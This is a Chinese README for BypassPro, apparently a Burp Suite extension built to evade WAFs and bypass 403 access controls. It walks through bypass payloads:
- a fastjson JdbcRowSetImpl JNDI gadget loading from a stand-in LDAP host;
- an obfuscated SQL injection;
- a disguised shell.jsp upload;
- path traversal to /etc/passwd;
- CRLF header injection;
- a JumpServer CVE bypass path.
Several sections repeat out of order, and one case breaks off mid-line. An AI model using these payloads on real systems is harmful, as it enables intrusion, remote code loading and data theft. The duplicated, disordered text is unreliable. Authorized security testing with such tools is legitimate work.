Manual-WAF 是 5.x 的核心工作台。它不是自动扫描器,而是给你一个“可编辑请求 + 选区变形 + Raw/Burp 发包 + 历史记录”的绕过实验环境。
入口:
- 在 Proxy / Target / Repeater 等位置选中请求。
- 右键 `Send to BypassPro (Manual WAF)`。
基础流程:
1. 在 Request 编辑器里确认原始请求。
2. 选中你要变形的内容。
3. 在下方工具区选择对应功能。
4. 看底部状态、Ghost 还原预览、diff 提示。
5. 选择 Send 模式:
- `Auto`:默认,发现请求行或 headers 有非 ASCII 时自动走 Raw Socket。
- `Burp`:强制 Burp 发包。
- `Raw`:强制 Raw Socket。
- 注意:Raw Socket 不走 Burp 的 Upstream Proxy / SOCKS Proxy。
6. 点击 `Send`,结果进入右侧 Response 和 History。
选区规则:
- 有选区:永远以用户选区为最高优先级。
- 没选区:只有工具能安全判断作用域时才自动处理。
- 没选区且无法安全判断:提示先选中。
- 变形后保持编辑器光标和选区附近位置,不跳回请求开头。
#### 6. Auto Ghost Bits 到底会发什么
当你右键 `Send to BypassPro (WAF)` 时,Auto Ghost Bits 默认不会构造新的 CVE payload。它只会基于原请求已有内容生成候选。
示例 1:普通业务请求。
GET /roche/jsq/h5/api/storage/view HTTP/1.1
Host: target.com
默认不会生成 Ghost Bits 变体。因为没有可疑 token,也没有 `%xx` / `\uXXXX` / `\xHH` 等 parser 结构。
示例 2:query value 中已有路径穿越语义。
GET /api/download?file=../../etc/passwd HTTP/1.1
Host: target.com
Auto 可能生成 `ghost:eq` 候选:
GET /api/download?file=阮阮/阮阮/etc/passwd HTTP/1.1
Host: target.com
Reason 类似:
ghost:eq; scope:query; token:traversal; sender:raw; strategy:minimal; fold:阮阮/... -> ../../...
这表示“同一个攻击语义换了一种显示形态”,不是漏洞确认。
示例 3:path 中已有 `%2e`。
GET /api/%2e%2e/admin HTTP/1.1
Host: target.com
Auto 可能生成 `ghost:parser` 候选:
GET /api/%2>%2>/admin HTTP/1.1
Host: target.com
Reason 类似:
ghost:parser; scope:percent_hex; token:percent-hex; sender:burp; parser-diff only, not vulnerability confirmation
示例 4:JSON 里有 `classic`。
POST /api HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 18
{"name":"classic"}
默认不会因为 `classic` 里包含 `class` 前缀就生成 Ghost Bits 候选。`class` token 必须有明确边界或出现在 `classLoader` 这类真实语义里,避免误伤。
#### 快速开始(推荐流程)
- **先用 Auto Scan**:快速覆盖站点常见的 401/403 场景,找“可能绕过点”
- **对可疑请求用主动模式复测**:右键发起 `Access Control` 或 `WAF`
- **需要精细化研究时用 Manual WAF**:把请求送入工作台,多轮变形与对比
### 历史案例
以下为 BypassPro 早期版本的使用记录,和 5.x 的 Gh0st Bits 工作台不是同一类功能。
### 案例 1
之前很多案例没有记录。这次bypasspro又发现了一个
最近的JumpServer未授权访问漏洞(CVE-2023-42442):未经身份验证的远程攻击者利用该漏洞可以访问录像文件,远程获取到敏感信息。
目前各大CERT给出的payload是/api/v1/terminal/sessions/ 或者/api/v1/terminal/sessions/?limit=1
部分企业可能无法及时升级版本,在nginx或者其他设备做防护处理。
比如访问原始payload
ok BypassPro给出 bypass 的payload:/api/v1/terminal/sessions.json?limit=1
#### 案例 2
emmm这个时候还是老版本,

###### 案例 B:fastjson `\x4_` 绕过 `@type`
目标:让 WAF 看不到 `@type`,但让 fastjson 宽松解析后仍得到 `@type`。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:直接看到 `@type`,很容易拦截。
普通变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x40type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:如果会识别 `\x40`,仍然能还原出 `@type`。
Manual WAF 操作:
1. 选中 JSON key 里的 `@type`。
2. 点击 `Gh0st Bits -> JSON 解析器 -> fastjson \x4_`。
3. 工作台会把 key 改成类似:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\x4Jtype":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
后端可能看到:
\x4J -> @
\x4_ -> @
这里不是标准低 8 位 Ghost Bits,而是 fastjson `\x` 宽松 hex 表达。它的价值是让 WAF 和 fastjson 对 `\x4?` 的理解不一致。
###### 案例 C:fastjson `\u0040` Unicode 数字绕过
目标:仍然构造 `@type`,但把 `\u0040` 里的数字换成 fastjson 可能接受的 Unicode 数字。
原始请求:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
普通 Unicode 变形:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0040type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
WAF 视角:很多 WAF 会把 `\u0040` 解成 `@`,继续拦截。
Manual WAF 操作:
1. 选中 `\u0040`,或者选中 `@type`。
2. 点击 `Gh0st Bits -> JSON 解析器 -> fastjson \u`。
3. 也可以点击 `Unicode 数字`,只替换 escape 里的数字位。
4. 变形后类似:
POST /api/update HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u٠٠٤٠type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://example.invalid/obj","autoCommit":true,"meta":"..."}
后端可能看到:
\u٠٠٤٠ -> \u0040 -> @
注意:这个案例依赖 fastjson 对 Unicode digit 的处理差异。它不是“所有 JSON 解析器都通用”的 Ghost Bits。
###### 案例 D:Jackson `\u` / charToHex 低 8 位
目标:让 WAF 看不到标准 JSON 字段和值里的敏感字符串,但 Jackson 的 `charToHex(ch & 0xff)` 仍能把 `\uXXXX` escape 解析回来。
原始请求:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"username":"admin' and 1='1","tenantId":"1001","page":1,"size":20}
WAF 视角:能直接看到 `and 1='1` 这类敏感片段。
普通 Unicode 转义:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u0075\u0073\u0065\u0072\u006e\u0061\u006d\u0065":"\u0061\u0064\u006d\u0069\u006e\u0027\u0020\u0061\u006e\u0064\u0020\u0031\u003d\u0027\u0031","tenantId":"1001","extra":"..."}
WAF 视角:如果会做 JSON / Unicode 预解析,还是能还原出 `username` 和 `admin' and 1='1`。
Manual WAF 操作:
1. 选中 `username`、SQL 片段,或者选中已经写好的 `\uXXXX` 片段。
2. 点击 `Gh0st Bits -> JSON 解析器 -> jackson \u`。
3. 工作台会把每个 `\uXXXX` 的 4 个 hex 位替换成低 8 位相同的 Ghost 字符,变形后类似:
POST /api/query HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{"\u丰丰男丵\u丰丰男耳\u丰丰茶丵...":"\u丰丰茶失...","tenantId":"1001","extra":"..."}
这里的字符只是示例,实际生成的 Ghost 字符可能不同。关键是还原关系要成立:
\u丰丰男丵 -> 还原后是 \u0075 -> u
\u丰丰男耳 -> 还原后是 \u0073 -> s
\u丰丰茶丵 -> 还原后是 \u0065 -> e
...
整体解析后仍是 username / admin' and 1='1
如果是 SQL 注入类 value,也按同样方法处理:先选中危险 value,再点 `jackson \u`,最后看底部 Ghost 还原预览是否能还原成原始 payload。
限制:
- 这个场景依赖 Jackson 走 `ReaderBasedJsonParser` 的 `char[]` 输入。
- Spring Boot 常见 JSON 请求默认可能走 `UTF8StreamJsonParser` 的 `byte[]` 输入,不一定触发。
- 所以它适合 Manual WAF 做验证,不适合 Auto 默认当作漏洞确认。
###### 案例 E:Tomcat multipart filename 绕过
目标:WAF 看不到 `.jsp`,但 Tomcat RFC2231 filename 解析后保存成 `.jsp`。
原始请求:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename="shell.jsp"
Content-Type: text/plain
test
------b--
WAF 视角:直接看到 `filename="shell.jsp"`。
普通 RFC2231 / URL 变形:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%6asp"
Content-Type: text/plain
test
------b--
WAF 视角:如果会 decode `%6a`,仍然看到 `.jsp`。
Manual WAF 操作:
1. 先把 `filename=` 改成 `filename*="UTF-8''shell.jsp"`。
2. 如果要走 `%HH` 解析链,选中 `j`,点击 `Gh0st Bits -> URL / 文件解析器 -> Tomcat %HH`。不要选中 `6a`,这个按钮接收的是原始字符,不是 hex 文本。
3. 如果要走裸字符低位还原链,选中 `.jsp`,点击 `常用载荷 -> .jsp`。
4. `%HH` 变形后类似:
POST /upload HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: multipart/form-data; boundary=----b
------b
Content-Disposition: form-data; name="file"; filename*="UTF-8''shell.%鸶繡sp"
Content-Type: text/plain
test
------b--
后端可能看到:
%鸶繡 -> %6a -> j
shell.%鸶繡sp -> shell.jsp
如果涉及 7-bit 分支,切到 `Ghost 还原 -> 7-bit` 看 `ch & 0x7f`;普通 `(byte)c` 场景看 `8-bit`。实际生成字符可能不是 `鸶繡`,以底部还原预览为准。
###### 案例 F:Jetty `%2>` loose hex
目标:让 WAF 看不到标准 `%2e%2e`,但 Jetty 历史宽松解析链可能把 `%2>` 当成 `%2e`。
原始请求:
GET /setup/setup-s/%2e%2e/%2e%2e/log.jsp HTTP/1.1
Host: 127.0.0.1:9090
Connection: close
WAF 视角:decode 后就是 `../../log.jsp`,容易拦截。
Manual WAF 操作:
1. 选中 path 中的单个 `.` 或单个 `%2e`。
2. 点击 `Gh0st Bits -> URL / 文件解析器 -> Jetty %2>`。
3. 变形后类似:
GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp HTTP/1.1
Host: 127.0.0.1:9090
Connection: close
后端可能看到:
%2> -> %2e -> .
%2>%2> -> ..
这个按钮只负责把已有点号 token 改成 Jetty loose hex 形态。它不是把任意 path 变成 Openfire payload;完整 Openfire 风格路径应使用模板或手工组合。
###### 案例 G:Header CRLF / HttpClient 类截断
目标:业务层看起来只是一个 header value,后端二次转发时如果经过存在 `char -> byte` 截断的 Java 协议写入库,字节层可能还原出 CRLF。
原始请求:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Token: AAAABBBB
Connection: close
Manual WAF 操作:
1. 选中 `X-Token` 的值中要插入换行的位置,例如 `AAAA` 后面。
2. 点击 `Gh0st Bits -> 常用载荷 -> CRLF`。
3. 变形后类似:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Token: AAAA瘍瘊BBBB
Connection: close
Ghost 还原预览应显示:
瘍瘊 -> \r\n
目标应用如果后续把该值交给 Apache HttpClient `<= 4.5.9`、SMTP/Mail 或其他存在 `char -> byte` 截断的 Java 协议写入链,字节层可能变成:
X-Token: AAAA
BBBB
注意:单个入站 HTTP 请求不会因为这里出现 `瘍瘊` 就自动拆 header。关键是后端二次转发或协议写入链是否存在低位还原。Auto-WAF 默认不会凭空注入 CRLF,只有原请求已有 CRLF 编码态才会生成候选。
##### Gh0st Bits 当前能力边界
已经支持:
- 通用 Ghost 编码:最小集 / 全量 / 字母 / 数字 / 符号。
- 换组:保持 Ghost 还原结果不变,重新生成另一组 Unicode 字符。
- 8-bit / 7-bit Ghost 还原预览与候选字符查询。
- 常用原子载荷:`.%u002e`、CRLF、`.jsp`、`@type`、`class`。
- 解析差异原子:fastjson `\x4_`、fastjson `\u`、Jackson `\u`、Jetty `%2>`、Tomcat `%HH`、全角 URL。
- YAML 模板:Spring Path、Tomcat filename、Jetty loose hex、fastjson / jackson / SMTP / BCEL 前缀等场景模板。
- Raw Socket:用于发送 request line / headers 中含非 ASCII Ghost 字符的请求。
不是一键完整链:
- BCEL:当前只辅助处理已有字符串或模板前缀,没有 `class bytes -> gzip -> BCEL encode -> Ghost` 的完整生成器。
- JDK URLDecoder:可以通过 Unicode 数字、全角 URL 等原子能力手工组合,但没有专用模板。
- Tomcat 全 Ghost 文件名:可以用通用 Ghost 编码或 `.jsp` 原子做裸字符形态;`Tomcat %HH` 只负责 `%HH` hex 解析形态。
- Nashorn / JSP:资料中这类解析器通常有严格 hex 校验,不应当作可用 Ghost Bits 案例。
#### 4. Raw Socket 发送
Manual WAF 增加三种发送模式:
- **Auto**:默认模式。请求行或 headers 中出现非 ASCII 字节时自动走 Raw Socket。
- **Burp**:强制使用 Burp `makeHttpRequest`。
- **Raw**:强制使用 Raw Socket。
Raw Socket 用于复现 Burp / curl / 浏览器可能无法稳定发送的请求,例如路径中直接携带 Unicode Ghost Bits 字符的场景。Raw 模式会绕开 Burp 的客户端规范化,并禁用证书校验,适合 CTF、靶场和授权测试环境。
限制:Raw Socket 是插件自己直连目标,不读取 Burp 的 Upstream Proxy / SOCKS Proxy 配置。需要内网代理链路时,请优先用 `Burp` 模式,或确认当前网络能直连目标。
#### 5. Auto WAF 中的 Ghost Bits 绕过
Auto-WAF 的 Ghost Bits 默认遵循一个原则:只变形原请求里已经存在的内容,不自动发完整漏洞链 payload。
- 配置位置:`profiles.auto_waf_bypass.options.ghost_bits`。
- 支持开关:
- `enabled`
- `raw_socket`
- `max_variants`
- `templates`
- `generic`
- 默认行为:
- `eq`:只对 query/form/json/filename 中已有可疑 token 做低 8 位等价变形。
- `parser`:只对已有 `%xx` / Unicode escape / x escape 等解析结构做差异变形。
- 普通 path 不做通用 Ghost 化,路径类漏洞链交给显式模板。
- 等价变形会校验 `fold(mutated scope) == original scope`。
- 场景模板:
- Spring Static Path Traversal / CVE-2025-41242 风格路径默认关闭。
- Jetty `%2>` Loose Hex 默认关闭。
- Tomcat JSP filename 默认关闭。
- Fullwidth URL Traversal 默认关闭。
- fastjson / jackson / BCEL / SMTP 相关模板也默认关闭。
- 这些模板属于明确 opt-in 的漏洞链探测,开启后可能替换 path 或 filename。
- 等价变形策略:
- 支持最小集、全量、字母、数字、符号。
- 配置键分别是 `minimal` / `full` / `letters` / `digits` / `symbols`。
- 默认只开“最小集”策略,避免自动扫描噪声过大。
Auto 模式会根据请求内容判断是否需要 Raw Socket。Dashboard 的 Reason 会显示 `ghost:eq` / `ghost:parser` / `ghost:template`、scope、token、sender、fold 摘要和差异原因,并对超长 payload 做压缩展示。Auto Ghost Bits 是绕过候选,不等于漏洞确认。
#### 6. 配置重构
配置文件升级为明确的 profile 结构:
general:
threads: 5
max_redirects: 3
similarity_threshold: 0.85
lang: zh
profiles:
auto_access_bypass:
...
auto_waf_bypass:
...
manual_waf_bypass:
ghost_bits:
...
说明:
- 5.x 不再兼容旧的 `profiles.access_control` / `profiles.waf`。
- 外置配置路径:`~/.config/BypassPro/BypassPro-config.yaml`。
- 首次启动会从 jar 内置模板生成配置。
- Config 页面支持 Reload / Reinit / 保存通用配置 / 保存 WAF 选项。
- 支持界面语言切换:`general.lang: zh | en`。
- 支持配置 Follow Redirect 最大跳转次数:`general.max_redirects`,Dashboard 自动模式和 Manual WAF 共用,默认 3。
#### 7. Dashboard 与结果展示
Dashboard 也做了重构,不再只是简单堆结果表:
- 顶部控制条改为紧凑布局:
- `AutoScan` 开关:控制是否监听 Proxy 中的 401/403 响应并自动扫描。
- `Follow Redirect` 开关:控制 Dashboard 自动模式是否跟随 `301/302/303/307/308`,默认关闭。
- `Threads`:当前扫描线程数,默认读取 `general.threads`。
- `Req: 已完成 / 总数`:显示当前任务进度。
- 进度条:扫描中为动态进度,完成后显示 100%。
- `Err`:错误请求计数。
- `Clear`:清空 Dashboard 结果,并重置计数。
- `Follow Redirect` 按任务发起时快照生效:同一批 AutoScan / Send 请求使用发起时的开关状态和 `general.max_redirects`,中途切换只影响后续任务。
- 相似度阈值不再放在 Dashboard 顶部,统一从 Config 的 `general.similarity_threshold` 读取。
- Dashboard 表格列调整为:
- `id`
- `tool`
- `Title`
- `Method`
- `Length`
- `Request URL`
- `MIME Type`
- `HTTP Status`
- `Redirect`
- `Reason`
- 表格支持排序,并为常用列设置更合理的宽度。
- `Request URL` 固定显示 payload 实际作用的 fuzz 目标。即使开启 Follow Redirect 并最终跳到其它 URL,主 URL 也不会被跳转后的地址覆盖。
- `Redirect` 列显示跳转策略和实际跳数:
- `false`:本批任务未启用 Follow Redirect。
- `true 0/3`:启用 Follow Redirect,但没有发生跳转。
- `true 1/3`:启用 Follow Redirect,实际跟随 1 次,最大 3 次。
- 有跳转链时,鼠标悬停可查看完整链路,例如 `/download.do;.css -> /nolimit.jsp`。
- `Reason` 列展示入表原因,例如:
- `status:403 -> 200`
- `sim:0.42 < 0.85`
- `ghost:spring_static_lfi; target:path; sender:raw`
- `ghost file signature matched`
- `Reason` 只表达入表判断依据,不混入 Follow Redirect 开关或跳转次数。
- `Reason` 列支持 tooltip,内容较长时可以悬停查看完整原因。
- `tool` 列使用短标签区分来源:
- `auto`
- `send access`
- `send waf`
- `manual waf`
- `auto-waf/ghost`
- `send-waf/ghost`
- 下方仍然是 Request / Response 双窗格,选中表格行后自动展示对应请求和响应。
- Request / Response 使用 Burp 原生消息编辑器能力,支持 Raw / Hex / Render 等视图。
Manual WAF 底部也增加了当前请求摘要、payload hints、diff 状态和 Gh0st Bits 还原预览。Tooltip 支持多行展示,鼠标悬停时显示每个按钮的用途、适用场景和操作方式。
#### 1.三个入口怎么选
BypassPro 5.1 主要有四个使用入口:
| 入口 | 位置 | 适合场景 | 配置 |
| ---------------------------------- | ----------------------- | ------------------------ | ----------------------------- |
| AutoScan | Dashboard 勾选 `AutoScan` | 自动监听 Proxy 中的 401/403 响应 | `profiles.auto_access_bypass` |
| Send to BypassPro (Access Control) | 请求右键菜单 | 对单个请求做权限绕过测试 | `profiles.auto_access_bypass` |
| Send to BypassPro (WAF) | 请求右键菜单 | 对单个请求做自动 WAF 绕过测试 | `profiles.auto_waf_bypass` |
| Send to BypassPro (Manual WAF) | 请求右键菜单 | 进入手动工作台,自己组合 payload | `profiles.manual_waf_bypass` |
简单选择:
- 看到 401/403,想批量找权限绕过点:用 `AutoScan`。
- 想对某一个请求做权限绕过:右键 `Access Control`。
- 想自动尝试 WAF 绕过:右键 `WAF`。
- 想自己选区、编码、组合、Raw 发包:右键 `Manual WAF`。
#### 2. Auto-权限绕过
Auto-权限绕过用于 401/403、未授权访问、访问控制绕过等场景。
入口:
- Dashboard 勾选 `AutoScan`。
- 或者在请求上右键 `Send to BypassPro (Access Control)`。
配置位置:
profiles:
auto_access_bypass:
主要规则:
- `suffix`:在 path 末尾追加变体。
- 例如 `.js`、`.css`、`/.`、`?`、`;param=1`。
- `prefix`:在 path 的每一层前插入变体。
- 例如 `;/`、`./`、`%2e/`、`%252e/`。
- `boundary_insert`:在目录边界插入变体。
- 例如 `;`、`;param=1`、`%00`、`%2e`。
- `headers`:添加或替换伪造头。
- 例如 `X-Forwarded-For`、`X-Client-IP`、`X-Remote-Addr`、`Referer`。
AutoScan 触发条件:
- 监听 Proxy 响应。
- 响应状态码为 `401` 或 `403` 时触发。
- 静态资源会被过滤,避免扫描图片、JS、CSS、字体等无意义资源。
Dashboard 入表逻辑:
- 插件会对原请求生成一批变体并重放。
- 变体响应命中候选状态码后,才会进入差异判断。
- 如果响应相似度低于 `general.similarity_threshold`,或状态码类别发生变化,就会写入 Dashboard。
- `Reason` 列会显示入表原因,例如:
- `status:403 -> 200`
- `sim:0.42 < 0.85`
- `class changed`
#### 3. Auto-WAF绕过
Auto-WAF绕过用于对某一个请求自动生成 WAF 绕过变体。
入口:
- 在 Proxy / Target / Repeater 等位置选中请求。
- 右键 `Send to BypassPro (WAF)`。
配置位置:
profiles:
auto_waf_bypass:
自动变体来源:
- Path / Header 规则:
- `suffix`
- `prefix`
- `boundary_insert`
- `headers`
- Body 编码:
- UTF-16
- UTF-16BE
- UTF-16LE
- UTF-32
- UTF-32BE
- UTF-32LE
- IBM037
- Body 变换:
- Gzip 压缩请求体。
- Content-Type 伪装:
- `application/x-www-form-urlencoded`
- `multipart/form-data`
- `text/plain`
- Ghost Bits 自动绕过:
- `eq`:只对原请求已有的可疑 token 做低 8 位等价变形。
- 作用域包括 query value、form value、JSON string、multipart filename。
- 典型 token 包括 `../`、`@type`、边界清晰的 `class`、`Runtime`、`union/select`、`.jsp`、CRLF 编码态等。
- 低位还原校验必须满足:`fold(mutated scope) == original scope`。
- `parser`:只对原请求已有解析结构做差异变形。
- 例如已有 `%2e` 时尝试 Jetty loose hex `%2>`。
- 例如已有 `\u0040` / `\x40` 时尝试 Unicode digit / loose hex 表达。
- 普通 path segment 不做通用 Ghost 化,不凭空替换成 `/etc/passwd`、Openfire setup path 等完整漏洞链。
- Spring Static Path Traversal、Jetty `%2>`、Tomcat filename、Fullwidth URL Traversal、fastjson / jackson / BCEL / SMTP 等场景模板保留在配置里,但默认关闭,必须明确勾选才会发送。
WAF Options 配置位置:
profiles:
auto_waf_bypass:
options:
body_charset:
body_transform:
content_type_spoof:
ghost_bits:
说明:
- Body 编码类变体只对存在 body 的请求生效。
- `multipart` 会尽量把普通表单转换为 multipart;非表单请求则偏向 Content-Type 伪装。
- Ghost Bits 默认是表达形态绕过候选,不是漏洞利用确认。
- Auto 结果只说明该请求存在可尝试的 Ghost Bits / parser 差异表达;能否真正利用,需要结合响应差异、后端行为和手动复测。
- 场景模板属于明确 opt-in 的漏洞链探测,开启后可能替换 path 或 filename。
- 如果 Ghost Bits 请求需要保留原始 Unicode path/header,插件会按配置走 Raw Socket。
- `raw_socket: true` 时启用。
- Dashboard 的 `tool` 可能显示为 `send-waf/ghost`。
- `Reason` 会显示 `ghost:eq` / `ghost:parser` / `ghost:template`、scope、token、sender、fold 摘要等信息。
#### 4. Manual-WAF 工作台
Manual-WAF 是 5.x 的核心工作台。它不是自动扫描器,而是给你一个“可编辑请求 + 选区变形 + Raw/Burp 发包 + 历史记录”的绕过实验环境。
入口:
- 在 Proxy / Target / Repeater 等位置选中请求。
- 右键 `Send to BypassPro (Manual WAF)`。
基础流程:
1. 在 Request 编辑器里确认原始请求。
2. 选中你要变形的内容。
3. 在下方工具区选择对应功能。
4. 看底部状态、Ghost 还原预览、diff 提示。
5. 选择 Send 模式:
- `Auto`:默认,发现请求行或 headers 有非 ASCII 时自动走 Raw Socket。
- `Burp`:强制 Burp 发包。
- `Raw`:强制 Raw Socket。
- 注意:Raw Socket 不走 Burp 的 Upstream Proxy / SOCKS Proxy。
6. 点击 `Send`,结果进入右侧 Response 和 History。
选区规则:
- 有选区:永远以用户选区为最高优先级。
- 没选区:只有工具能安全判断作用域时才自动处理。
- 没选区且无法安全判断:提示先选中。
- 变形后保持编辑器光标和选区附近位置,不跳回请求开头。
#### 6. Auto Ghost Bits 到底会发什么
当你右键 `Send to BypassPro (WAF)` 时,Auto Ghost Bits 默认不会构造新的 CVE payload。它只会基于原请求已有内容生成候选。
示例 1:普通业务请求。
GET /roche/jsq/h5/api/storage/view HTTP/1.1
Host: target.com
默认不会生成 Ghost Bits 变体。因为没有可疑 token,也没有 `%xx` / `\uXXXX` / `\xHH` 等 parser 结构。
示例 2:query value 中已有路径穿越语义。
GET /api/download?file=../../etc/passwd HTTP/1.1
Host: target.com
Auto 可能生成 `ghost:eq` 候选:
GET /api/download?file=阮阮/阮阮/etc/passwd HTTP/1.1
Host: target.com
Reason 类似:
ghost:eq; scope:query; token:traversal; sender:raw; strategy:minimal; fold:阮阮/... -> ../../...
这表示“同一个攻击语义换了一种显示形态”,不是漏洞确认。
示例 3:path 中已有 `%2e`。
GET /api/%2e%2e/admin HTTP/1.1
Host: target.com
Auto 可能生成 `ghost:parser` 候选:
GET /api/%2>%2>/admin HTTP/1.1
Host: target.com
Reason 类似:
ghost:parser; scope:percent_hex; token:percent-hex; sender:burp; parser-diff only, not vulnerability confirmation
示例 4:JSON 里有 `classic`。
POST /api HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 18
{"name":"classic"}
默认不会因为 `classic` 里包含 `class` 前缀就生成 Ghost Bits 候选。`class` token 必须有明确边界或出现在 `classLoader` 这类真实语义里,避免误伤。
#### 快速开始(推荐流程)
- **先用 Auto Scan**:快速覆盖站点常见的 401/403 场景,找“可能绕过点”
- **对可疑请求用主动模式复测**:右键发起 `Access Control` 或 `WAF`
- **需要精细化研究时用 Manual WAF**:把请求送入工作台,多轮变形与对比
### 历史案例
以下为 BypassPro 早期版本的使用记录,和 5.x 的 Gh0st Bits 工作台不是同一类功能。
### 案例 1
之前很多案例没有记录。这次bypasspro又发现了一个
最近的JumpServer未授权访问漏洞(CVE-2023-42442):未经身份验证的远程攻击者利用该漏洞可以访问录像文件,远程获取到敏感信息。
目前各大CERT给出的payload是/api/v1/terminal/sessions/ 或者/api/v1/terminal/sessions/?limit=1
部分企业可能无法及时升级版本,在nginx或者其他设备做防护处理。
比如访问原始payload
ok BypassPro给出 bypass 的payload:/api/v1/terminal/sessions.json?limit=1
#### 案例 2
emmm这个时候还是老版本,

标签:403 bypass, BurpSuite扩展, BurpSuite扩展开发, BurpSuite插件, Java开发, TGT, WAF绕过, WAF绕过技术, Web安全, 域名枚举, 安全测试, 安全绕过, 攻击性安全, 攻击路径可视化, 攻防演练, 权限绕过, 权限绕过技术, 渗透工具, 白帽黑客, 网络安全, 自动化bypass, 蓝队分析, 隐私保护, 黑客工具